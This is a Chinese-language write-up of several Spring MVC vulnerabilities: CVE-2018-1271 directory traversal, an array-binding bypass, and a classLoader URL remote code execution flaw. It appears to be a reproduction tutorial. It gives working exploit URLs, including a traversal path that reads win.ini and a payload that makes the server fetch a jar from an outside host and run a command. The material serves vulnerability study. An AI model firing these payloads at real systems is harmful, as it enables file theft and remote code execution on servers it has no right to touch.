框架漏洞|Spring MVC漏洞合集

Spring MVC 目录穿越漏洞(CVE-2018-1271) 漏洞简介
2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。
漏洞影响
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
已不支持的旧版本仍然受影响
漏洞利用条件
Server运行于Windows系统上
要使用file协议打开资源文件目录
漏洞复现
复现环境
操作系统Windows
中间件jetty
环境搭建
1.下载 spring-mvc-showcase
git clone https://github.com/spring-projects/spring-mvc-showcase.git
修改pom.xml,使用Spring Framework 5.0.0。

框架漏洞|Spring MVC漏洞合集
文章图片



.修改 Spring MVC 静态资源配置,可参考官方文档
通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。
registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");
3.使用 jetty 启动项目
mvn jetty:run
至此复现环境搭建完毕。
复现过程及结果
访问以下链接
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
框架漏洞|Spring MVC漏洞合集
文章图片

可以看到成功读取到win.ini的内容了。

Spring mvc数组只读权限绕过漏洞
poc :http://inbreak.net/springmvc/testjsp.htm?names[0]=xxxxx

Spring mvc远程代码执行漏洞 现在再来看看怎么才能远程代码执行,每次想到这里,都会想到这个老外太有才了。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过

jar:http://inbreak.net/kxlzx.jar!/

这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例
【框架漏洞|Spring MVC漏洞合集】框架漏洞|Spring MVC漏洞合集
文章图片


Form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:
input/META-INF/tags/InputTag.tag

这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag

做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面这些:

攻击者访问url:
http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://inbreak.net/spring-exploit.jar!/

即可触发远程代码执行的效果,漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。


    推荐阅读